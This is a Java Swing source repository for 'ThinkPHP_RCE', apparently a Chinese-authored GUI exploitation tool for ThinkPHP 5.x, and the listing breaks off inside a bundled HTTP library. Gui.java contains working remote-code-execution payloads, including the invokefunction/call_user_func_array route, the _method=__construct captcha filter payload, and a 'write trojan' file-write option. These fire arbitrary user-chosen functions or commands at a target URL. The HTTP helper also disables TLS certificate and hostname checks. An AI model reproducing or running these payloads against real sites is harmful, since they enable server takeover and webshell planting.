├── .idea ├── .gitignore ├── artifacts │ └── ThinkPHP_Rce_jar.xml ├── misc.xml ├── modules.xml ├── runConfigurations.xml ├── uiDesigner.xml └── vcs.xml ├── README.md ├── ThinkPHP_Rce.iml ├── src ├── GuiManager │ ├── Gui.form │ └── Gui.java ├── HttpURLConnectionExample │ ├── HttpRequest.java │ └── MyX509TrustManager.java ├── META-INF │ ├── MANIFEST.MF │ └── teamdev.licenses └── Main.java └── tu.png /.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | # Datasource local storage ignored files 5 | /dataSources/ 6 | /dataSources.local.xml 7 | # Editor-based HTTP Client requests 8 | /httpRequests/ 9 | -------------------------------------------------------------------------------- /.idea/artifacts/ThinkPHP_Rce_jar.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | $PROJECT_DIR$/out/artifacts/ThinkPHP_Rce_jar 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /.idea/runConfigurations.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 9 | 10 | -------------------------------------------------------------------------------- /.idea/uiDesigner.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ThinkPHP_RCE 2 | ## 更新信息 3 | #### Version:1.0.1 4 | 简化了Gui.java代码,重新改写列表初始化。让代码规范亿点点。修复部分漏洞无法利用问题(时间问题,暂时修复。) 5 | 6 | 7 | ## 介绍 8 | 9 | 一款自写的综合利用工具,目前只支持部分Thinkphp漏洞利用所以暂时命名为:ThinkPHP_RCE. 10 | 由于是测试版本,目前还有未知的Bug没有解决,如有问题请多多指教谢谢。 11 | 12 | 请勿用于非法用途,否则后果自负。 13 | -------------------------------------------------------------------------------- /ThinkPHP_Rce.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /src/GuiManager/Gui.form: -------------------------------------------------------------------------------- 1 | 2 |
3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213 | 214 | 215 | 216 | 217 | 218 | 219 | 220 | 221 | 222 | 223 | 224 | 225 | 226 | 227 | 228 | 229 | 230 | 231 | 232 | 233 | 234 | 235 | 236 | 237 | 238 | 239 | 240 | 241 | 242 | 243 | 244 | 245 | 246 | 247 | 248 | 249 | 250 | 251 | 252 | 253 | 254 | 255 | 256 | 257 | 258 | 259 | 260 | 261 | 262 | 263 | 264 | 265 |
266 | -------------------------------------------------------------------------------- /src/GuiManager/Gui.java: -------------------------------------------------------------------------------- 1 | package GuiManager; 2 | 3 | import HttpURLConnectionExample.*; 4 | import com.sun.xml.internal.ws.message.PayloadElementSniffer; 5 | 6 | import javax.swing.*; 7 | import java.awt.*; 8 | import java.awt.event.ActionEvent; 9 | import java.awt.event.ActionListener; 10 | import java.net.URL; 11 | import java.util.ArrayList; 12 | import java.util.HashMap; 13 | import java.util.LinkedHashMap; 14 | import java.util.Map; 15 | 16 | /** 17 | * @program: ThinkPHP_Rce 18 | * @description: 19 | * @author: Mr.Wang 20 | * @create: 2022-05-12 02:06 21 | **/ 22 | public class Gui { 23 | private JPanel root; 24 | private JTabbedPane tabbedPane1; 25 | private JComboBox comboBox1; 26 | private JComboBox comboBox2; 27 | private JButton 利用Button; 28 | private JButton 扫描Button; 29 | private JTextField filenameText; 30 | private JTabbedPane tabbedPane2; 31 | private JTextArea textArea1; 32 | private JTextField textField1; 33 | private JPanel browerobject; 34 | private JScrollPane browerobjectsp; 35 | private JEditorPane jEditorPane; 36 | private JTextField phpinfoTextField1; 37 | private JButton 清空Button; 38 | private JLabel payload; 39 | private JTextField textField2; 40 | public String RequestRet=""; 41 | public HashMap> VulnList; 42 | public Gui() { 43 | comboBox1.addItem("ThinkPHP 5.x"); 44 | VulnArrayList(); 45 | URL url= null; 46 | ChiosFramework(); 47 | //漏洞框架 , 48 | //private static WebBrowser browser; 49 | textArea1.setText("登DUA郎 漏洞利用工具 v1.0.1。\n目前版本只支持部分ThinkPHP漏洞的复现,并未完善。\n 本工具做得比较水,目标是能用就行,目前发布第一个版本有什么问题可以多多指教。"); 50 | 利用Button.addActionListener(new ActionListener() { 51 | String Url=""; 52 | 53 | @Override 54 | public void actionPerformed(ActionEvent e) { 55 | if (comboBox1.getSelectedItem().toString().equals("ThinkPHP 5.x")){ 56 | ThinkPHPRceExploit(); 57 | } 58 | } 59 | 60 | 61 | 62 | 63 | }); 64 | 清空Button.addActionListener(new ActionListener() { 65 | @Override 66 | public void actionPerformed(ActionEvent e) { 67 | textArea1.setText(""); 68 | } 69 | }); 70 | } 71 | 72 | 73 | public void ChiosFramework(){ 74 | for (int i = 0; i < VulnList.get(comboBox1.getSelectedItem().toString()).size(); i++) { 75 | System.out.println(VulnList.get(comboBox1.getSelectedItem().toString()).get(i)); 76 | comboBox2.addItem(VulnList.get(comboBox1.getSelectedItem().toString()).get(i)); 77 | } 78 | } 79 | public void VulnArrayList(){ 80 | VulnList=new HashMap>(); 81 | VulnList.put("ThinkPHP 5.x",new ArrayList()); 82 | VulnList.get("ThinkPHP 5.x").add("第一种 5.1.x RCE"); 83 | VulnList.get("ThinkPHP 5.x").add("第二种 5.1.x"); 84 | VulnList.get("ThinkPHP 5.x").add("第三种 5.1.x 写木马"); 85 | VulnList.get("ThinkPHP 5.x").add("第四种 5.1.x RCE"); 86 | VulnList.get("ThinkPHP 5.x").add("第六种 5.x RCE"); 87 | VulnList.get("ThinkPHP 5.x").add("第七种 5.x RCE"); 88 | VulnList.get("ThinkPHP 5.x").add("第八种 5.x RCE"); 89 | 90 | } 91 | private String GetChionsVuln(){ 92 | return comboBox2.getSelectedItem().toString(); 93 | } 94 | 95 | public void browersethtml(String HtmlCode){ 96 | LayoutManager layout = new FlowLayout(); 97 | browerobject.setLayout(layout); 98 | jEditorPane.setEditable(true); 99 | URL url= null; 100 | 101 | jEditorPane.setContentType("text/html"); 102 | jEditorPane.setText(HtmlCode); 103 | 104 | } 105 | private String GetUrl(String Url){ 106 | return textField1.getText().toString() +Url; 107 | } 108 | 109 | 110 | private String SendRequest(String Url,String RequestType,String PostData,String Cookie,String UserAgent){ 111 | if(RequestType.equals("GET")){ 112 | return HttpRequest.get(Url,true).send(PostData).body(); 113 | 114 | } 115 | else if(RequestType.equals("POST")) 116 | { 117 | return HttpRequest.post(Url,true).send(PostData).body(); 118 | } 119 | 120 | return ""; 121 | } 122 | 123 | public void ThinkPHPRceExploit(){ 124 | String Url=textField1.getText().toString(); 125 | if(GetChionsVuln().equals("第一种 5.1.x RCE")){ 126 | 127 | //textArea1.append("此漏洞不支持 执行php形式payload,要是执行命令,请直接在pyload里输入命令即可。要是执行phpinfo();,输入phpinfo();即可。\n"); 128 | if(phpinfoTextField1.getText().equals("phpinfo();")) { 129 | Url= GetUrl("/index.php?s=index/\\think\\Request/input&filter=phpinfo&data=1"); 130 | }else{ 131 | Url= GetUrl("/index.php?s=index/\\think\\Request/input&filter="+textField2.getText()+"&data="+ phpinfoTextField1.getText().toString()); 132 | } 133 | 134 | try{ 135 | RequestRet= SendRequest(Url,"GET","","",""); 136 | }catch (Exception error){ 137 | RequestRet=""; 138 | } 139 | 140 | }else if(GetChionsVuln().equals("第二种 5.1.x")){ 141 | String Payload= "/index.php?s=index/\\think\\view\\driver\\Php/display&content="; 142 | Url= GetUrl(Payload); 143 | try{ 144 | RequestRet= SendRequest(Url,"GET","","",""); 145 | }catch (Exception error){ 146 | RequestRet=""; 147 | } 148 | }else if(GetChionsVuln().equals("第三种 5.1.x 写木马")){ 149 | String Payload= "/index.php??s=index/\\think\\template\\driver\\file/write&cacheFile="+ filenameText.getText()+"&content="+ phpinfoTextField1.getText(); 150 | Url= GetUrl(Payload); 151 | try{ 152 | RequestRet= SendRequest(Url,"GET","","",""); 153 | }catch (Exception error){ 154 | RequestRet=""; 155 | } 156 | }else if(GetChionsVuln().equals("第四种 5.1.x RCE")){ 157 | //textArea1.append("此漏洞不支持 执行php形式payload,要是执行命令,请直接在pyload里输入命令即可。要是执行phpinfo();,输入phpinfo();即可。\n"); 158 | if(phpinfoTextField1.getText().equals("phpinfo();")) { 159 | Url= GetUrl("?s=index/\\think\\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1"); 160 | }else{ 161 | Url= GetUrl("?s=index/\\think\\Container/invokefunction&function=call_user_func_array&vars[0]="+textField2.getText()+"&vars[1][]="+ phpinfoTextField1.getText().toString()); 162 | 163 | } 164 | 165 | try{ 166 | RequestRet= SendRequest(Url,"GET","","",""); 167 | }catch (Exception error){ 168 | RequestRet=""; 169 | } 170 | }else if(GetChionsVuln().equals("第五种 5.1.x RCE")){ 171 | textArea1.append("此漏洞不支持 执行php形式payload,要是执行命令,请直接在pyload里输入命令即可。要是执行phpinfo();,输入phpinfo();即可。\n"); 172 | if(phpinfoTextField1.getText().equals("phpinfo();")) { 173 | Url= GetUrl("?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1"); 174 | }else{ 175 | Url= GetUrl("?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]="+textField2.getText()+"&vars[1][]="+ phpinfoTextField1.getText().toString()); 176 | } 177 | 178 | try{ 179 | RequestRet= SendRequest(Url,"GET","","",""); 180 | }catch (Exception error){ 181 | RequestRet=""; 182 | } 183 | }else if(GetChionsVuln().equals("第六种 5.1.x RCE")){ 184 | textArea1.append("此漏洞不支持 执行php形式payload,要是执行命令,请直接在pyload里输入命令即可。要是执行phpinfo();,输入phpinfo();即可。\n"); 185 | if(phpinfoTextField1.getText().equals("phpinfo();")) { 186 | Url= GetUrl("?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1"); 187 | }else{ 188 | Url= GetUrl("?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]="+textField2.getText()+"&vars[1][]="+ phpinfoTextField1.getText().toString()); 189 | } 190 | 191 | try{ 192 | RequestRet= SendRequest(Url,"GET","","",""); 193 | }catch (Exception error){ 194 | error.printStackTrace(); 195 | RequestRet=""; 196 | } 197 | }else if(GetChionsVuln().equals("第七种 5.x RCE")){ 198 | String Payload; 199 | Url=GetUrl("/index.php?s=captcha"); 200 | if(phpinfoTextField1.getText().equals("phpinfo();")) { 201 | Payload = "_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=-1"; 202 | }else{ 203 | Payload = "_method=__construct&filter[]="+textField2.getText()+"&method=get&server[REQUEST_METHOD]="+phpinfoTextField1.getText(); 204 | } 205 | try{ 206 | RequestRet= SendRequest(Url,"GET",Payload,"",""); 207 | }catch (Exception error){ 208 | error.printStackTrace(); 209 | RequestRet=""; 210 | } 211 | 212 | }else if(GetChionsVuln().equals("第八种 5.x RCE")){ 213 | String Payload; 214 | Url=GetUrl("/index.php?s=captcha"); 215 | if(phpinfoTextField1.getText().equals("phpinfo();")) { 216 | Payload = "_method=__construct&method=get&filter[]=phpinfo&get[]=-1"; 217 | }else{ 218 | Payload = "_method=__construct&method=get&filter[]="+textField2.getText()+"&get[]="+phpinfoTextField1.getText(); 219 | } 220 | try{ 221 | RequestRet= SendRequest(Url,"GET",Payload,"",""); 222 | }catch (Exception error){ 223 | error.printStackTrace(); 224 | RequestRet=""; 225 | } 226 | 227 | } 228 | 229 | 230 | browersethtml(RequestRet); 231 | textArea1.append(RequestRet+"\n"); 232 | textArea1.append(" Url:"+Url+"\n"); 233 | textArea1.append("==========================================================================\n"); 234 | 235 | } 236 | 237 | public static void GuiMain() { 238 | JFrame frame = new JFrame("登Dua郎漏洞利用工具 By:Rumsfed 3he11"); 239 | frame.setContentPane(new Gui().root); 240 | frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); 241 | frame.pack(); 242 | frame.setSize(1200,500); 243 | frame.setVisible(true); 244 | } 245 | } 246 | -------------------------------------------------------------------------------- /src/HttpURLConnectionExample/HttpRequest.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2014 Kevin Sawicki 3 | * 4 | * Permission is hereby granted, free of charge, to any person obtaining a copy 5 | * of this software and associated documentation files (the "Software"), to 6 | * deal in the Software without restriction, including without limitation the 7 | * rights to use, copy, modify, merge, publish, distribute, sublicense, and/or 8 | * sell copies of the Software, and to permit persons to whom the Software is 9 | * furnished to do so, subject to the following conditions: 10 | * 11 | * The above copyright notice and this permission notice shall be included in 12 | * all copies or substantial portions of the Software. 13 | * 14 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 19 | * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS 20 | * IN THE SOFTWARE. 21 | */ 22 | package HttpURLConnectionExample; 23 | 24 | import static java.net.HttpURLConnection.HTTP_BAD_REQUEST; 25 | import static java.net.HttpURLConnection.HTTP_CREATED; 26 | import static java.net.HttpURLConnection.HTTP_INTERNAL_ERROR; 27 | import static java.net.HttpURLConnection.HTTP_NO_CONTENT; 28 | import static java.net.HttpURLConnection.HTTP_NOT_FOUND; 29 | import static java.net.HttpURLConnection.HTTP_NOT_MODIFIED; 30 | import static java.net.HttpURLConnection.HTTP_OK; 31 | import static java.net.Proxy.Type.HTTP; 32 | 33 | import java.io.BufferedInputStream; 34 | import java.io.BufferedOutputStream; 35 | import java.io.BufferedReader; 36 | import java.io.ByteArrayInputStream; 37 | import java.io.ByteArrayOutputStream; 38 | import java.io.Closeable; 39 | import java.io.File; 40 | import java.io.FileInputStream; 41 | import java.io.FileNotFoundException; 42 | import java.io.FileOutputStream; 43 | import java.io.Flushable; 44 | import java.io.IOException; 45 | import java.io.InputStream; 46 | import java.io.InputStreamReader; 47 | import java.io.OutputStream; 48 | import java.io.OutputStreamWriter; 49 | import java.io.PrintStream; 50 | import java.io.Reader; 51 | import java.io.UnsupportedEncodingException; 52 | import java.io.Writer; 53 | import java.net.HttpURLConnection; 54 | import java.net.InetSocketAddress; 55 | import java.net.MalformedURLException; 56 | import java.net.Proxy; 57 | import java.net.URI; 58 | import java.net.URISyntaxException; 59 | import java.net.URL; 60 | import java.net.URLEncoder; 61 | import java.nio.ByteBuffer; 62 | import java.nio.CharBuffer; 63 | import java.nio.charset.Charset; 64 | import java.nio.charset.CharsetEncoder; 65 | import java.security.AccessController; 66 | import java.security.GeneralSecurityException; 67 | import java.security.PrivilegedAction; 68 | import java.security.SecureRandom; 69 | import java.security.cert.X509Certificate; 70 | import java.util.ArrayList; 71 | import java.util.Arrays; 72 | import java.util.Collections; 73 | import java.util.Iterator; 74 | import java.util.LinkedHashMap; 75 | import java.util.List; 76 | import java.util.Map; 77 | import java.util.Map.Entry; 78 | import java.util.concurrent.Callable; 79 | import java.util.concurrent.atomic.AtomicInteger; 80 | import java.util.concurrent.atomic.AtomicReference; 81 | import java.util.zip.GZIPInputStream; 82 | 83 | import javax.net.ssl.HostnameVerifier; 84 | import javax.net.ssl.HttpsURLConnection; 85 | import javax.net.ssl.SSLContext; 86 | import javax.net.ssl.SSLSession; 87 | import javax.net.ssl.SSLSocketFactory; 88 | import javax.net.ssl.TrustManager; 89 | import javax.net.ssl.X509TrustManager; 90 | 91 | /** 92 | * A fluid interface for making HTTP requests using an underlying 93 | * {@link HttpURLConnection} (or sub-class). 94 | *

95 | * Each instance supports making a single request and cannot be reused for 96 | * further requests. 97 | */ 98 | public class HttpRequest { 99 | 100 | /** 101 | * 'UTF-8' charset name 102 | */ 103 | public static final String CHARSET_UTF8 = "UTF-8"; 104 | 105 | /** 106 | * 'application/x-www-form-urlencoded' content type header value 107 | */ 108 | public static final String CONTENT_TYPE_FORM = "application/x-www-form-urlencoded"; 109 | 110 | /** 111 | * 'application/json' content type header value 112 | */ 113 | public static final String CONTENT_TYPE_JSON = "application/json"; 114 | 115 | /** 116 | * 'gzip' encoding header value 117 | */ 118 | public static final String ENCODING_GZIP = "gzip"; 119 | 120 | /** 121 | * 'Accept' header name 122 | */ 123 | public static final String HEADER_ACCEPT = "Accept"; 124 | 125 | /** 126 | * 'Accept-Charset' header name 127 | */ 128 | public static final String HEADER_ACCEPT_CHARSET = "Accept-Charset"; 129 | 130 | /** 131 | * 'Accept-Encoding' header name 132 | */ 133 | public static final String HEADER_ACCEPT_ENCODING = "Accept-Encoding"; 134 | 135 | /** 136 | * 'Authorization' header name 137 | */ 138 | public static final String HEADER_AUTHORIZATION = "Authorization"; 139 | 140 | /** 141 | * 'Cache-Control' header name 142 | */ 143 | public static final String HEADER_CACHE_CONTROL = "Cache-Control"; 144 | 145 | /** 146 | * 'Content-Encoding' header name 147 | */ 148 | public static final String HEADER_CONTENT_ENCODING = "Content-Encoding"; 149 | 150 | /** 151 | * 'Content-Length' header name 152 | */ 153 | public static final String HEADER_CONTENT_LENGTH = "Content-Length"; 154 | 155 | /** 156 | * 'Content-Type' header name 157 | */ 158 | public static final String HEADER_CONTENT_TYPE = "Content-Type"; 159 | 160 | /** 161 | * 'Date' header name 162 | */ 163 | public static final String HEADER_DATE = "Date"; 164 | 165 | /** 166 | * 'ETag' header name 167 | */ 168 | public static final String HEADER_ETAG = "ETag"; 169 | 170 | /** 171 | * 'Expires' header name 172 | */ 173 | public static final String HEADER_EXPIRES = "Expires"; 174 | 175 | /** 176 | * 'If-None-Match' header name 177 | */ 178 | public static final String HEADER_IF_NONE_MATCH = "If-None-Match"; 179 | 180 | /** 181 | * 'Last-Modified' header name 182 | */ 183 | public static final String HEADER_LAST_MODIFIED = "Last-Modified"; 184 | 185 | /** 186 | * 'Location' header name 187 | */ 188 | public static final String HEADER_LOCATION = "Location"; 189 | 190 | /** 191 | * 'Proxy-Authorization' header name 192 | */ 193 | public static final String HEADER_PROXY_AUTHORIZATION = "Proxy-Authorization"; 194 | 195 | /** 196 | * 'Referer' header name 197 | */ 198 | public static final String HEADER_REFERER = "Referer"; 199 | 200 | /** 201 | * 'Server' header name 202 | */ 203 | public static final String HEADER_SERVER = "Server"; 204 | 205 | /** 206 | * 'User-Agent' header name 207 | */ 208 | public static final String HEADER_USER_AGENT = "User-Agent"; 209 | 210 | /** 211 | * 'DELETE' request method 212 | */ 213 | public static final String METHOD_DELETE = "DELETE"; 214 | 215 | /** 216 | * 'GET' request method 217 | */ 218 | public static final String METHOD_GET = "GET"; 219 | 220 | /** 221 | * 'HEAD' request method 222 | */ 223 | public static final String METHOD_HEAD = "HEAD"; 224 | 225 | /** 226 | * 'OPTIONS' options method 227 | */ 228 | public static final String METHOD_OPTIONS = "OPTIONS"; 229 | 230 | /** 231 | * 'POST' request method 232 | */ 233 | public static final String METHOD_POST = "POST"; 234 | 235 | /** 236 | * 'PUT' request method 237 | */ 238 | public static final String METHOD_PUT = "PUT"; 239 | 240 | /** 241 | * 'TRACE' request method 242 | */ 243 | public static final String METHOD_TRACE = "TRACE"; 244 | 245 | /** 246 | * 'charset' header value parameter 247 | */ 248 | public static final String PARAM_CHARSET = "charset"; 249 | 250 | private static final String BOUNDARY = "00content0boundary00"; 251 | 252 | private static final String CONTENT_TYPE_MULTIPART = "multipart/form-data; boundary=" 253 | + BOUNDARY; 254 | 255 | private static final String CRLF = "\r\n"; 256 | 257 | private static final String[] EMPTY_STRINGS = new String[0]; 258 | 259 | private static SSLSocketFactory TRUSTED_FACTORY; 260 | 261 | private static HostnameVerifier TRUSTED_VERIFIER; 262 | 263 | private static String getValidCharset(final String charset) { 264 | if (charset != null && charset.length() > 0) 265 | return charset; 266 | else 267 | return CHARSET_UTF8; 268 | } 269 | 270 | private static SSLSocketFactory getTrustedFactory() 271 | throws HttpRequestException { 272 | if (TRUSTED_FACTORY == null) { 273 | final TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() { 274 | 275 | public X509Certificate[] getAcceptedIssuers() { 276 | return new X509Certificate[0]; 277 | } 278 | 279 | public void checkClientTrusted(X509Certificate[] chain, String authType) { 280 | // Intentionally left blank 281 | } 282 | 283 | public void checkServerTrusted(X509Certificate[] chain, String authType) { 284 | // Intentionally left blank 285 | } 286 | } }; 287 | try { 288 | SSLContext context = SSLContext.getInstance("TLS"); 289 | context.init(null, trustAllCerts, new SecureRandom()); 290 | TRUSTED_FACTORY = context.getSocketFactory(); 291 | } catch (GeneralSecurityException e) { 292 | IOException ioException = new IOException( 293 | "Security exception configuring SSL context"); 294 | ioException.initCause(e); 295 | throw new HttpRequestException(ioException); 296 | } 297 | } 298 | 299 | return TRUSTED_FACTORY; 300 | } 301 | 302 | private static HostnameVerifier getTrustedVerifier() { 303 | if (TRUSTED_VERIFIER == null) 304 | TRUSTED_VERIFIER = new HostnameVerifier() { 305 | 306 | public boolean verify(String hostname, SSLSession session) { 307 | return true; 308 | } 309 | }; 310 | 311 | return TRUSTED_VERIFIER; 312 | } 313 | 314 | private static StringBuilder addPathSeparator(final String baseUrl, 315 | final StringBuilder result) { 316 | // Add trailing slash if the base URL doesn't have any path segments. 317 | // 318 | // The following test is checking for the last slash not being part of 319 | // the protocol to host separator: '://'. 320 | if (baseUrl.indexOf(':') + 2 == baseUrl.lastIndexOf('/')) 321 | result.append('/'); 322 | return result; 323 | } 324 | 325 | private static StringBuilder addParamPrefix(final String baseUrl, 326 | final StringBuilder result) { 327 | // Add '?' if missing and add '&' if params already exist in base url 328 | final int queryStart = baseUrl.indexOf('?'); 329 | final int lastChar = result.length() - 1; 330 | if (queryStart == -1) 331 | result.append('?'); 332 | else if (queryStart < lastChar && baseUrl.charAt(lastChar) != '&') 333 | result.append('&'); 334 | return result; 335 | } 336 | 337 | private static StringBuilder addParam(final Object key, Object value, 338 | final StringBuilder result) { 339 | if (value != null && value.getClass().isArray()) 340 | value = arrayToList(value); 341 | 342 | if (value instanceof Iterable) { 343 | Iterator iterator = ((Iterable) value).iterator(); 344 | while (iterator.hasNext()) { 345 | result.append(key); 346 | result.append("[]="); 347 | Object element = iterator.next(); 348 | if (element != null) 349 | result.append(element); 350 | if (iterator.hasNext()) 351 | result.append("&"); 352 | } 353 | } else { 354 | result.append(key); 355 | result.append("="); 356 | if (value != null) 357 | result.append(value); 358 | } 359 | 360 | return result; 361 | } 362 | 363 | /** 364 | * Creates {@link HttpURLConnection HTTP connections} for 365 | * {@link URL urls}. 366 | */ 367 | public interface ConnectionFactory { 368 | /** 369 | * Open an {@link HttpURLConnection} for the specified {@link URL}. 370 | * 371 | * @throws IOException 372 | */ 373 | HttpURLConnection create(URL url) throws IOException; 374 | 375 | /** 376 | * Open an {@link HttpURLConnection} for the specified {@link URL} 377 | * and {@link Proxy}. 378 | * 379 | * @throws IOException 380 | */ 381 | HttpURLConnection create(URL url, Proxy proxy) throws IOException; 382 | 383 | /** 384 | * A {@link ConnectionFactory} which uses the built-in 385 | * {@link URL#openConnection()} 386 | */ 387 | ConnectionFactory DEFAULT = new ConnectionFactory() { 388 | public HttpURLConnection create(URL url) throws IOException { 389 | return (HttpURLConnection) url.openConnection(); 390 | } 391 | 392 | public HttpURLConnection create(URL url, Proxy proxy) throws IOException { 393 | return (HttpURLConnection) url.openConnection(proxy); 394 | } 395 | }; 396 | } 397 | 398 | private static ConnectionFactory CONNECTION_FACTORY = ConnectionFactory.DEFAULT; 399 | 400 | /** 401 | * Specify the {@link ConnectionFactory} used to create new requests. 402 | */ 403 | public static void setConnectionFactory(final ConnectionFactory connectionFactory) { 404 | if (connectionFactory == null) 405 | CONNECTION_FACTORY = ConnectionFactory.DEFAULT; 406 | else 407 | CONNECTION_FACTORY = connectionFactory; 408 | } 409 | 410 | /** 411 | * Callback interface for reporting upload progress for a request. 412 | */ 413 | public interface UploadProgress { 414 | /** 415 | * Callback invoked as data is uploaded by the request. 416 | * 417 | * @param uploaded The number of bytes already uploaded 418 | * @param total The total number of bytes that will be uploaded or -1 if 419 | * the length is unknown. 420 | */ 421 | void onUpload(long uploaded, long total); 422 | 423 | UploadProgress DEFAULT = new UploadProgress() { 424 | public void onUpload(long uploaded, long total) { 425 | } 426 | }; 427 | } 428 | 429 | /** 430 | *

431 | * Encodes and decodes to and from Base64 notation. 432 | *

433 | *

434 | * I am placing this code in the Public Domain. Do with it as you will. This 435 | * software comes with no guarantees or warranties but with plenty of 436 | * well-wishing instead! Please visit http://iharder.net/base64 periodically 438 | * to check for updates or to contribute improvements. 439 | *

440 | * 441 | * @author Robert Harder 442 | * @author rob@iharder.net 443 | * @version 2.3.7 444 | */ 445 | public static class Base64 { 446 | 447 | /** The equals sign (=) as a byte. */ 448 | private final static byte EQUALS_SIGN = (byte) '='; 449 | 450 | /** Preferred encoding. */ 451 | private final static String PREFERRED_ENCODING = "US-ASCII"; 452 | 453 | /** The 64 valid Base64 values. */ 454 | private final static byte[] _STANDARD_ALPHABET = { (byte) 'A', (byte) 'B', 455 | (byte) 'C', (byte) 'D', (byte) 'E', (byte) 'F', (byte) 'G', (byte) 'H', 456 | (byte) 'I', (byte) 'J', (byte) 'K', (byte) 'L', (byte) 'M', (byte) 'N', 457 | (byte) 'O', (byte) 'P', (byte) 'Q', (byte) 'R', (byte) 'S', (byte) 'T', 458 | (byte) 'U', (byte) 'V', (byte) 'W', (byte) 'X', (byte) 'Y', (byte) 'Z', 459 | (byte) 'a', (byte) 'b', (byte) 'c', (byte) 'd', (byte) 'e', (byte) 'f', 460 | (byte) 'g', (byte) 'h', (byte) 'i', (byte) 'j', (byte) 'k', (byte) 'l', 461 | (byte) 'm', (byte) 'n', (byte) 'o', (byte) 'p', (byte) 'q', (byte) 'r', 462 | (byte) 's', (byte) 't', (byte) 'u', (byte) 'v', (byte) 'w', (byte) 'x', 463 | (byte) 'y', (byte) 'z', (byte) '0', (byte) '1', (byte) '2', (byte) '3', 464 | (byte) '4', (byte) '5', (byte) '6', (byte) '7', (byte) '8', (byte) '9', 465 | (byte) '+', (byte) '/' }; 466 | 467 | /** Defeats instantiation. */ 468 | private Base64() { 469 | } 470 | 471 | /** 472 | *

